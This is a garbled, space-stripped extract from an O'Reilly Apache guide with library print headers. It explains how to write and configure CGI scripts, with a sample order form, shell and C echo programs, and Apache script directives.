Win32hasadefaultshellCOMMAND.COMthatwillexecutebatchfileswiththe
extension.bat.Ifyouwanttouseit,youdon'thavetospecifyit(seelaterinthischapter):
<html>
<body>
<!UNIX>
<!TWOVERSIONSseetextabove>
<FORMMETHOD=GETACTION="mycgi.cgi">
<!OR>
<FORMMETHOD=GETACTION="cgibin/mycgi.cgi">
<!WIN32>
<!TWOVERSIONSseetextabove>
<FORMMETHOD=GETACTION="mycgi.bat">
<!OR>
<FORMMETHOD=GETACTION="cgibin/mycgi.bat">
<hl>WelcometoButterthliesInc</hl>
<h2>SummerCatalog</h2>
<p>Allourcardsareavailableinpacksof20at$2apack.
Thereisa10%discountifyouordermorethan100.
</p>
<hr>
<p>
Style2315
<palign=center>
<imgsrc="bench.jpg"alt="Pictureofabench">
<palign=center>
BeBOLDonthebench
<!NEWLINECREATESAFORMFIELD>
<p>Howmanypacksof20doyouwant?<INPUTNAME="2315_order"TYPE=int>
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
Page78
<hr>
<p>
Style2316
<palign=center>
<imgsrc="hen.jpg"ALT="Pictureofahencooplikeapagoda">
<palign=center>
GetSCRAMBLEDinthehenhouse
<!NEWLINECREATESAFORMFIELD>
<p>Howmanypacksof20doyouwant?<INPUT
NAME="2316_order"TYPE=int>
<HR>
<p>
Style2317
<palign=center>
<imgsrc="tree.jpg"alt="Verynicepictureoftree">
<palign=center>
GetHIGHinthetreehouse
<!NEWLINECREATESAFORMFIELD>
<p>Howmanypacksof20doyouwant?<INPUTNAME="2317_order"TYPE=int>
<hr>
<p>
Style2318
<palign=center>
<imgsrc="bath.jpg"alt="Ratherpuzzlingpictureofabatchtub">
<palign=center>
GetDIRTYinthebath
<!NEWLINECREATESAFORMFIELD>
<p>Howmanypacksof20doyouwant?<INPUTNAME="2318_order"TYPE=int>
<hr>
<!NEWLINESCREATEFORMFIELDS>
<p>WhichCreditCardareyouusing?
<ol><li>Access<INPUTNAME="card_type"TYPE=checkboxVALUE="Access">
<li>Amex<INPUTNAME="card_type"TYPE=checkboxVALUE="Amex">
<li>MasterCard<INPUTNAME="card_type"TYPE=checkboxVALUE="MasterCard">
</ol>
<p>Yourcardnumber?<INPUTNAME="card_num"SIZE=20>
<hr>
<palign=right>
PostcardsdesignedbyHarriet@alart.demon.co.uk
<hr>
<br>
ButterthliesInc,HopefulCity,Nevada99999
</br>
<!NEWLINECREATESAFORMFIELD>
<p><INPUTTYPE=submit><INPUTTYPE=reset>
</FORM>
>/body>
</html>
Thisisallprettystraightforwardstuff,exceptperhapsfortheline:
<FORMMETHOD=GETACTION="/cgibin/mycgi.cgi">
or:
<FORMMETHOD=GETACTION="mycgi.bat">
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page79
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
Thetag<FORM>introducestheformatthebottom,</FORM>endsit.Thetag<METHOD>tellsApachehowtoreturnthedatatotheCGIscriptwearegoingto
write.Forthemomentitisirrelevantbecausethesimplescriptmycgi.cgiignoresthereturneddata.
TheACTIONspecificationtellsApachetousetheURL/cgibin/mycgi.cgi(amplified
to/usr/www/cgibin/mycgi)todosomethingaboutitall:
ACTION=/cgibin/mycgi.cgi
Or,ifweareusingthesecondmethod,wherewekeeptheCGIscriptinthehtdocs
directory:
ACTION=/mycgi.cgi
TheACTIONspecificationtellsApachetousetheURL/cgibin/mycgi.cgi(amplifiedto
\usr\www\cgibin\mycgi)todosomethingaboutitall:
ACTION=/cgibin/mycgi.bat
Or,ifweareusingthesecondmethod,wherewekeeptheCGIscriptinthehtdocs
directory:
ACTION=/mycgi.bat
WritingandExecutingScripts
BearinmindthattheCGIscriptmustbeexecutableintheopinionofyouroperatingsystem.Inordertotestit,youcanrunitfromtheconsolewiththesameloginthat
Apacheuses.Ifyoucannot,youhaveaproblemthat'ssignaledbydisagreeablemessagesattheclientend,plusequivalentstoriesinthelogfilesontheserver,suchas:
Youdon'thavepermissiontoaccess/cgibin/mycgionthisserver
Youneedtodoeitherofthefollowing:
UseScriptAliasinyourhost'sConfigfile,pointingtoasafelocationoutsideyourwebspace.ThismakesforbettersecuritybecausetheBadGuysthencannot
readyourscriptsandanalyzethemforholes."Securitybyobscurity"isnotasoundpolicyonitsown,butitdoesnoharmwhenaddedtomorevigorousprecautions.
UseAddhandlerorSethandlertosetahandlertypeofcgiscript.Inthiscase,youputtheCGIscriptsinyourdocumentroot.
IfyouhavenotusedScriptAlias,thenOptionsExecCGImustbeon.Itwillnormallybeonbydefault.Seethesection"DebuggingScripts,"laterinthis
chapter,formoreinformationonfixingscripts.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page80
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
Toexperiment,wehaveasimpletestscript,mycgi.cgi,intwolocations:/cgibintotestthefirstmethodabove,and/site.cgi/htdocstotestthesecond.Whenit
works,wewouldwritethescriptproperlyinCorPerlorwhatever.
Thescriptmycgi.cgilookslikethis:
#!/bin/sh
echocontenttype:text/plain
echo
echoHaveaniceday
UnderWin32,providingyouwanttorunyourscriptunderCOMMAND.COMandcallit
mycgi.bat,thescriptcanbealittlesimplerthantheUnixversionitdoesn'tneedtheline
thatspecifiestheshell:
@echooff
echocontenttype:text/plain
echo.
echoHaveaniceday
The@echooffcommandturnsoffcommandlineechoing,whichwouldotherwise
completelydestroytheoutputofthebatchfile.Theslightlyweirdlooking''echo."givesa
blankline(aplainechowithoutadotprints"ECHOisoff").
Ifyouarerunningamoreexoticshell,likebashorperl,youneedthe'shebang'lineatthe
topofthescripttoinvokeit:
#!shellpath
ACGIscriptconsistsofheadersandabody.Everythinguptothefirstblankline(strictlyspeaking,CRLFCRLF,butApachewilltolerateLFLF)isheader,and
everythingelseisbody.ThelinesoftheheaderareseparatedbyLForCRLF.AlistofpossibleheadersistobefoundinthedraftCGI1.1specification,fromwhich
thisisaquotation:
TheCGIheaderfieldshavethegenericsyntax:
genericheader=fieldname":"[fieldvalue]NL
fieldname=1 <anyCHAR,excludingCTLs,SPand":">
fieldvalue= (fieldcontent|LWSP)
fieldcontent= (token|tspecial|quotedstring)
ThefieldnameisnotcasesensitiveaNULLfieldvalueisequivalentto
theheaderfieldnotbeingsent.
ContentType
TheInternetMediaType[9]oftheentitybody,whichisto
besentunmodifiedtotheclient.
ContentType="ContentType"":"mediatypeNL
ThisisactuallyanHTTPHeaderratherthanaCGIheader
field,butitislistedherebecauseofitsimportanceinthe
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page81
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
CGIdialogueasamemberofthe"oneoftheseisrequired"
setofheaderfields.
Location
Thisisusedtospecifytotheserverthatthescript
isreturningareferencetoadocumentratherthananactual
document.
Location="Location"":"
(fragmentURI|relURLabspath)NL
fragmentURI=URI[#fragmentid]
URI=scheme":" qchar
fragmentid= qchar
relURLabspath="/"[hpath]["?"querystring]
hpath=fpsegment ("/"psegment)
fpsegment=1 hchar
psegment= hchar
hchar=alpha|digit|safe|extra
|":"|"@"|"&"|"="
OurlittlescriptfirsttellsApachetousetheshshellandthenspecifieswhattypeofdatathecontentis,usingtheContentTypeheader.Thismustbespecified
because:
Apachecan'ttellfromtheComponent(rememberthatforordinaryfiles,there'sahostofwaysofdeterminingthecontenttype,forexample,themime.typesfileor
theAddTypedirective).
TheCGIscriptmaywanttodecideoncontenttypedynamically.
So,thescriptmustsendatleastoneheaderline:ContentType.Wesetittotext/plaintogetanicelyformattedoutputscreen.Failuretoincludeitresults
inanerrormessageontheclient,plusequivalententriesintheserverlogfiles:
Theserverencounteredaninternalerrorormisconfigurationandwasunable
tocompleteyourrequest
Headersmustbeterminatedbyablankline,hencethesecondecho.
WearegoingtocallourscriptfromoneoftheButterthliesforms:form_summer.html.Dependingonwhichlocationandcallingmethodweuseforthescript,we
needslightlydifferentinvocationsintheform.
Scriptincgibin
Tosteerincomingdemandsforthescripttotherightplace(/cgibin),weneedtoeditour/site.cgi/conf/httpd.conffilesoitlookslikethis:
Userwebuser
Groupwebgroup
ServerNamewww.butterthlies.com
DocumentRoot/usr/www/site.cgi/htdocs
ScriptAlias/cgibin/usr/www/cgibin
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page82
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
Weneedtoedittheform/site.cgi/htdocs/form_summmer.htmlsothattherelevantlinereads:
<!UNIX>
<FORMMETHOD=POSTACTION="cgibin/mycgi.cgi">
<!Win32>
<FORMMETHOD=POSTACTION="cgibin/mycgi.bat">
SinceCGIprocessingisonbydefault,thisshouldwork.WhenyousubmittheButterthliesorderform,andtherebyinvoketheCGIscriptnamedbyACTION,you
aresentthemessage"Haveaniceday."
Youwouldprobablywanttoproceedinthisway,thatis,puttingthescriptinthecgibindirectory,ifyouwereofferingawebsitetotheoutsideworldandwantedto
maximizeyoursecurity.
ScriptinDocumentRoot
TheothermethodistoputscriptsinamongsttheHTMLfiles.Youshouldonlydothisifyoutrusttheauthorsofthesitetowritesafescripts(ornotwritethematall)
sincesecurityismuchreduced.Generallyspeaking,itissafertouseaseparatedirectoryforscripts,asexplainedpreviously.First,itmeansthatpeoplewritingHTML
can'taccidentallyordeliberatelycausesecuritybreachesbyincludingexecutablecodeinthewebtree.Second,itmakeslifeharderfortheBadGuys:oftenitis
necessarytoallowfairlywideaccesstothenonexecutablepartofthetree,butmorecarefulcontrolcanbeexercisedontheCGIdirectories.
Butregardlessofthesegoodintentions,weputmycgi.cgiin/site.cgi/htdocs.TheConfigfileisnow:
Userwebuser
Groupwebgroup
ServerNamewww.butterthlies.com
DocumentRoot/usr/www/site.cgi/htdocs
AddHandlercgiscriptcgi
TheAddHandlerdirectivemeansthatanydocumentApachecomesacrosswiththeextension.cgiwillbetakentobeanexecutablescript.Weneedthe
correspondinglineintheform:
<!UNIX>
<FORMMETHOD=POSTACTION="mycgi.cgi">
<!WIN32>
<FORMMETHOD=POSTACTION="mycgi.bat">
Again,ifweaccesshttp://www.butterthlies.com/form_summer.html,wegettheresultdescribed.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page83
ScriptDirectives
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
ApachehasfivedirectivesdefiningCGIscriptalternatives.
ScriptAlias
ScriptAliasURLpathdirectory
Serverconfig,virtualhost
TheScriptAliasdirectiveconvertsrequestsforURLsstartingwithURLpathtoexecutionoftheCGIprogramfoundindirectory.Inotherwords,an
incomingURLlikeURLpath/fredcausestheprogramstoredindirectory/fredtorun,anditsoutputisreturnedtotheclient.Notethatdirectorymustbean
absolutepath.Werecommendthatthispathbeoutsideyourwebspace.
AcutefeatureofScriptAliasisthatitcanallowaCGItopretendtobeadirectory.IfsomeonesubmitstheURLURLpath/fred/some/where/else,then
directory/fredisrun,and/some/where/elseispassedtoitinthePATH_INFOenvironmentvariable.Thiscanbeusedforallsortsofthings,butoneisworth
mentioning:manybrowsersandcachesdetectCGIsbythepresenceofaquestionmarkintheURL,andrefusetocachethem.Thisgivesawayoffoolingtheminto
caching.Ofcourse,youshouldbesureyouwantthemcached(orusecachecontrolheaderstopreventit,ifthatwasnotwhatyouhadinmind).
ScriptAliasMatch
ScriptAliasMatchregexdirectory
Serverconfig,virtualhost
ThisdirectiveisequivalenttoScriptAliasbutmakesuseofstandardregularexpressionsinsteadofsimpleprefixmatching.Thesuppliedregularexpressionis
matchedagainsttheURLifitmatches,theserverwillsubstituteanyparenthesizedmatchesintothegivenstringandusetheresultasaComponent.Forexample,to
activatethestandard/cgibin,onemightusethefollowing:
ScriptAliasMatch /cgibin/(. )/usr/local/apache/cgibin/$1
ScriptLog
ScriptLogComponent
Default:nologging
Resourceconfig
SincedebuggingCGIscriptscanberatheropaque,thisdirectiveallowsyoutochoosealogfilethatshowswhatishappeningwithCGIs.However,oncethescripts
areworking,disablelogging,sinceitslowsApachedownandofferstheBadGuyssometemptingcrannies.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page84
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
ScriptLogLength
ScriptLogLengthnumber_of_bytes
Defaultnumber_of_bytes:10385760
Resourceconfig
Thisdirectivespecifiesthemaximumlengthofthedebuglog.Oncethisvalueisexceeded,loggingstops(afterthelastcompletemessage).
ScriptLogBuffer
ScriptLogBuffernumber_of_bytes
Defaultnumber_of_bytes:1024
Resourceconfig
ThisdirectivespecifiesthemaximumsizeinbytesforrecordingaPOSTrequest.
Scriptscangowildandmonopolizesystemresources:thisunhappyoutcomecanbe
controlledbythreedirectives.
RLimitCPU
RLimitCPU#|max[#|max]
Default:OSdefaults
Serverconfig,virtualhost
RLimitCPUtakesoneortwoparameters.Eachparametermaybeanumberorthe
wordmax,whichinvokesthesystemmaximum,insecondsperprocess.Thefirst
parametersetsthesoftresourcelimit,thesecondthehardlimit.**
RLimitMEM
RLimitMEM#|max[#|max]
Default:OSdefaults
Serverconfig,virtualhost
RLimitMEMtakesoneortwoparameters.Eachparametermaybeanumberorthe
wordmax,whichinvokesthesystemmaximum,inbytesofmemoryusedperprocess.
Thefirstparametersetsthesoftresourcelimit,thesecondthehardlimit.
RLimitNPROC
RLimitNPROC#|max[#|max]
Default:OSdefaults
Serverconfig,virtualhost
*Thiscuriousnumberisalmostcertainlyatypointhesource:10MBis10485760bytes.
**Thesoftlimitcanbeincreasedagainbythechildprocess,butthehardlimitcannot.Thisallowsyoutosetadefaultthatislowerthanthehighestyouarepreparedtoallow.See
manrlimitformoredetail.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
Page85
RLimitNPROCtakesoneortwoparameters.Eachparametermaybeanumberorthe
wordmax,whichinvokesthesystemmaximum,inprocessesperuser.Thefirst
parametersetsthesoftresourcelimit,thesecondthehardlimit.
UsefulScripts
WhenwefillinanorderformandhittheSubmitQuerybutton,wesimplygetthehearteningmessage:
Haveaniceday
becausetheACTIONspecifiedatthetopoftheformistorunthescriptmycgi.cgiandallitdoesistoechothatfriendlyphrasetothescreen.
Wecanmakemycgi.cgimoreinterestingbymakingitshowuswhatisgoingonbetweenApacheandtheCGIscript.Let'saddthelineenv,whichcallstheUnix
utilitythatprintsoutalltheenvironmentvariables,oraddtheWin32equivalent,set.Rememberthatyoucan'tuseechotoproduceablanklineinWin32,soyou
havetoproduceafile,callednew1here,thatcontainsjustaRETURNandthentypeit:
#!/bin/sh
echocontenttype:text/plain
echo
env
echocontenttype:text/plain
typenewl
echo
set
Nowontheclientsideweseeascreenfullofdata:
GATEWAY_INTERFACE=CGI/1.1
CONTENT_TYPE=application/xwwwformurlencoded
REMOTE_HOST=192.168.123.1
REMOTE_ADDR=192.168.123.1
QUERY_STRING=
DOCUMENT_ROOT=/usr/www/site.cgi/htdocs
HTTP_USER_AGENT=Mozilla/3.0b7(Win95I)
HTTP_ACCEPT=image/gif,image/xxbitmap,image/jpeg,image/pjpeg, /
HTTP_ACCEPT_LANGUAGE=
CONTENT_LENGTH=74
SCRIPT_Component=/usr/www/cgibin/mycgi
HTTP_HOST=www.butterthlies.com
SERVER_SOFIWARE=Apache/1.3
HTTP_PRAGMA=nocache
HTTP_CONNECTION=KeepAlive
HTTP_COOKIE=Apache=192257840095649803
Thislinewillonlyappearifwehaveenabledcookies.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
Page86
PATH=/sbin:/usr/sbin:/bin:/usr/bin:/usr/local/bin
HTTP_REFERER=http://www.butterthlies.com/form_summer.html
SERVER_PROTOCOL=HTTP/1.0
REQUEST_METHOD=POST
SERVER_ADMIN=[noaddressgiven]
SERVER_PORT=80
SCRIPT_NAME=/cgibin/mycgi
SERVER_NAME=www.butterthlies.com
Ifwehaveincludedthemodulemod_unique_id,wealsohavetheenvironmentvariableUNIQUE_ID,whichhasattachedtoitauniquenumberforeachhit:
UNIQUE_ID==NWG7@QoAAAIBkwAADYY
Thescriptmycgi.cgihasbecomeatoolweshallkeepupoursleevesforthefuture.
Ofcourse,aCGIscriptcansendanyvalidheaderitlikes.AparticularlyusefuloneisLocation,whichredirectstheclienttosomewhereelsewhichmightbe
anywherefromafileuptoanotherURL.Inthiscase,wecanpretendthatwehaverunsomesortofprogramthatcollectsinformationhavingdonethat,wereturnthe
clienttothestartingURL.Thescript/cgibin/location.cgiisasfollows:
#!/bin/sh
echo"contenttype:text/plain"
#runsomeprogramtogatherinformation
echo"Location:http://192.168.123.2"
echo
Oncetheformhasbeenchangedtorunthisfileratherthanmycgi.cgi,clickingontheSubmitbuttonshootsusstraightbacktotheoriginalscreen.
NowwecansetaboutwritingaCversionofmycgithatdoessomethinguseful.Let'sthinknowwhatwewanttodo.Acustomerfillsinaformtoordersomecards.
Hisbrowserextractstheusefuldataandsendsitbacktous.Weneedtoechoitbacktohimtomakesureitiscorrect.ThisechoneedstobeanHTMLformitselfso
thathecanindicatehisconsent.Ifhe'shappy,weneedtotakehisdataandprocessitifheisn't,weneedtoresendhimtheoriginalform.Wewillwritea
demonstrationprogramthatgetstheincomingdata,buildsaskeletonHTMLformaroundit,andsendsitback.Youshouldfinditeasyenoughtofiddlearoundwith
theprogramtomakeitdowhatyouwant.Happily,wedon'tevenhavetobotherwritingthisprogram,becausewecanfindwhatwewantamongtheNetscapeforms
documentation:theprogramecho.c,withhelperfunctionsinecho2.c.ThisprogramisreproducedwiththepermissionofNetscapeCorporationandcanbefoundin
AppendixB,TheechoProgram.
echo.c
echoreceivesincomingdatafromanHTMLformandreturnsanHTMLdocumentlistingthefieldnamesandthevaluesenteredintothefieldsbythecustomer.To
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page87
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
avoidanyconfusionwiththeUnixutilityecho,werenamedourstomyecho.Itisworthlookingatmyecho.c,becauseitshowsthattheprocessiseasierthanitsounds:
#include<stdio.h>
#include<stdlib.h>
#defineMAX_ENTRIES10000
typedefstruct
{
char name
char val
}entry
char makeword(char line,charstop)
char fmakeword(FILE f,charstop,int len)
charx2c(char what)
voidunescape_url(char url)
voidplustospace(char str)
intmain(intargc,char argv[])
{
entryentries[MAX_ENTRIES]
registerintx,m=0
intcl
charmbuf[200]
Thenextline:
printf("Contenttype:text/html\n\n")
suppliestheHTMLheader.WecanhaveanyMIMEtypehere.Itmustbefollowedbyablankline,hencethe\n\n.Theline:
if(strcmp(getenv("REQUEST_METHOD"),"POST"))
checksthatwehavetherightsortofinputmethod.TherearenormallyonlytwopossibilitiesinaCGIscript:GETandPOST.Inbothcasesthedataisformattedvery
simply:
fieldnamel=value&fieldname2=value&
IfthemethodisGET,thedataiswrittentotheenvironmentvariableQUERY_STRING.IfthemethodisPOST,thedataiswrittentothestandardinputandcanbe
readcharacterbycharacterwithfgetc()(seeecho2.cinAppendixB).
Thenextsectionreturnsthelengthofdatetocome:
{
printf("ThisscriptshouldbereferencedwithaMETHODofPOST.\n")
exit(1)
}
if(strcmp(getenv("CONTENT_TYPE"),"application/xwwwformurlencoded"))
{
printf("Thisscriptcanonlybeusedtodecodeformresults.\n")
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page88
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
exit(1)
}
cl=atoi(getenv("CONTENT_LENGTH"))
Thefollowingsnippetreadsinthedata,breakingatthe&symbols:
for(x=0cl&&(!feof(stdin))x++)
{
m=x
entries[x].val=fmakeword(stdin,'&',&cl)
plustospace(entries[x].val)
unescape_url(entries[x].val)
entries[x].name=makeword(entries[x].val,'=')
}
ThenextlinedisplaysthetopofthereturnHTMLdocument:
printf("<H1>QueryResults</H1>")
Thefinalsectionliststhefieldsintheoriginalformwiththevaluesfilledinbythecustomer:
printf("Yousubmittedthefollowingname/valuepairs:<p>%c",10)
printf("<ul>%c",10)
for(x=0x<=mx++)
printf("<li><code>%s=%s</code>%c",entries[x].name,
entries[x].val,10)
printf("</ul>%c",10)
}
Wecompilemyecho.candcopytheresulttomycgi* toseeitinactionnexttimeweruntheform.Theresultontheclientmachineissomethinglikethis(dependingon
howtheformwasfilledin):
QUERYRESULTS
Yousubmittedthefollowingname/valuepairs:
2315_order=20
2316_order=10
2317_order=
2318_order=
card_type=Amex
card_num=1234567
Clearly,it'snotdifficulttomodifymyecho.ctoreturnanotherform,presentingthedatainamoreuserfriendlyfashionandaskingthecustomertohitabuttontosignify
agreement.Thesecondformactivatesanotherscript/program,process_orders,whichturnstheorderintodeliveredbusiness.However,wewillleavethesepleasures
asanexerciseforthereader.
Ofcourse,wecouldhavechangedtheformtousemyechoinstead.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page89
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
DebuggingScripts
BecauseCGIscriptsrununderneathApache,itcanbeawkwardtodebugthem.Whenascriptfails,younormallydon'tgetmuchhelponthebrowserscreen,butthe
errorlogcanbemuchmoreinformativeandisthefirstthingtocheck(bydefault,itis/logs/error_log,butyoucansetittowhatyoulikewiththeErrorLog
directive).
IfyouareprogrammingyourscriptinPerl,theCGI::Carpmodulecanbehelpful.However,mostotherlanguages youmightwanttouseforCGIdonothave
anythingsouseful.Ifyouareprogramminginahighlevellanguageandwanttorunadebugger,itisusuallyimpossibletodosodirectly.However,itispossibleto
simulatetheenvironmentinwhichanApachescriptruns.ThefirstthingtodoistobecometheuserthatApacherunsas(oftenwebserv).Then,rememberthat
Apachealwaysrunsascriptinthescript'sowndirectory,sogotothatdirectory.Next,Apachepassesmostoftheinformationascriptneedsinenvironmentvariables.
Determinewhatthoseenvironmentvariablesshouldbe(eitherbythinkingaboutitor,morereliably,bytemporarilyreplacingyourCGIwithonethatexecutesenv,as
illustratedabove),andwritealittlescriptthatsetsthem,thenrunsyourCGI(possiblyunderadebugger).SinceApachesetsavastnumberofenvironmentvariables,it
isworthknowingthatmostCGIscriptshardlyuseanyusuallyonlyQUERY_STRING(orPATH_INFO,lessoften).Ofcourse,ifyouwrotethescriptandallits
libraries,you'llknowwhatitused,butthatisn'talwaysthecase.So,togiveaconcreteexample,supposewewantedtodebugthemycgiscriptgivenearlier.We'dgo
into/cgibinandwriteascriptcalled,say,debug.cgi,thatlookedsomethinglikethis:
#!/bin/sh
QUERY_STRING='2315_order=20&2316_order=10&card_type=Amex'
exportQUERY_STRING
gdbmyecho
We'drunitbytyping:
chmod+xdebug.cgi
./debug.cgi
Oncegdbcameup,we'dhitr<CR>andthescriptwouldrun.
Acoupleofthingsmaytripyouuphere.ThefirstisthatifthescriptexpectsthePOSTmethodthatis,ifREQUEST_METHODissettoPOSTthescriptwill(ifit
isworkingcorrectly)expecttheQUERY_STRINGtobesuppliedonitsstandardinputratherthanintheenvironment.Mostscriptsusealibrarytoprocessthequery
We'llincludeordinaryshellscriptsas"languages,"which,inmanysenses,theyare.
Obviously,ifwereallywantedtodebugit,we'dsetsomebreakpointsfirst.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page90
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
string,sothesimplesolutionistonotsetREQUEST_METHODfordebugging,ortosetittoGETinstead.IfyoureallymustusePOST,thenthescriptwould
become:
#!/bin/sh
REQUEST_METHOD=POST
exportREQUEST_METHOD
myecho<EOF
2315_order=20&2316_order=10&card_type=Amex
EOF
Notethatthistimewedidn'trunthedebugger,forthesimplereasonthatthedebuggeralsowantsinputfromstandardinput.Toaccommodatethat,putthequery
stringinsomefileandtellthedebuggertousethatfileforstandardinput(ingdb'scase,thatmeanstyper<yourfile).
ThesecondtrickythingoccursifyouareusingPerlandthestandardPerlmoduleCGI.pm.Inthiscase,CGIhelpfullydetectsthatyouaren'trunningunderApache
andpromptsforthequerystring.Italsowantstheindividualitemsseparatedbynewlinesinsteadofampersands.Thesimplesolutionistodosomethingverysimilarto
thesolutiontothePOSTproblemwejustdiscussed,exceptwithnewlines.
SettingEnvironmentVariables
Whenascriptiscalleditreceivesalotofenvironmentvariables,aswehaveseen.Itmaybethatyouwanttopasssomeofyourown.Therearetwodirectivestodo
this:SetEnvandPassEnv.
SetEnv
SetEnvvariablevalue
Serverconfig,virtualhosts
ThisdirectivesetsanenvironmentvariablethatisthenpassedtoCGIscripts.Wecaninventourownenvironmentvariablesandgivethemvalues.Forinstance,we
mighthaveseveralvirtualhostsonthesamemachinethatusethesamescript.Todistinguishwhichvirtualhostcalledthescript(inamoreabstractwaythanusingthe
HTTP_HOSTenvironmentvariable),wecouldmakeupourownenvironmentvariableVHOST:
<VirtualHosthostl>
SetEnvVHOSTcustomers
</VirtualHost>
<VirtualHosthost2>
SetEnvVHOSTsalesmen
</VirtualHost>
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page91
UnsetEnv
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
UnsetEnvvariablevariable
Serverconfig,virtualhosts
Ta5esalistofenvironmentvariablesandremovesthem.
PassEnv
PassEnv
ThisdirectivepassesanenvironmentvariabletoCGIscriptsfromtheenvironmentthatwasinforcewhenApachewasstarted. Thescriptmightneedtoknowthe
operatingsystem,soyoucouldusethefollowing:
PassEnvOSTYPE
ThisvariationassumesthatyouroperatingsystemsetsOSTYPE,whichisbynomeansaforegoneconclusion.
Browsers
ArealproblemontheWebisthatpeoplearefreetochoosetheirownbrowsersandnotallbrowsersworkalikeorevennearlyalike.Theyvaryenormouslyintheir
capabilities.Somebrowsersdisplayimages,otherswon't.Somethatdisplayimageswon'tdisplayframes,tables,orJava,andsoon.
Youcantrytocircumventthisproblembyaskingthecustomertogotodifferentpartsofyourscript(''Clickheretoseetheframesversion"),butinreallifepeople
oftendonotknowwhattheirbrowserwillandwon'tdo.Alotofthemwillnotevenunderstandwhatquestionyouareasking.Togetaroundthisproblem,Apache
candetectthebrowsertypeandsetenvironmentvariablessothatyourCGIscriptscandetectthetypeandactaccordingly.
SetEnvIfandSetEnvIfNoCase
SetEnvIfattributeregexenvar[=value][..]
SetEnvIfNoCaseattributeregexenvar[=value][..]
TheattributecanbeoneoftheHTTPrequestheaderfields,suchasHost,UserAgent,Referer,and/oroneofthefollowing:
Remote_Host
Theclient'shostname,ifavailable
Remote_Addr
Theclient'sIPaddress
NotethatwhenApacheisstartedduringthesystemboot,theenvironmentcanbesurprisinglysparse.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
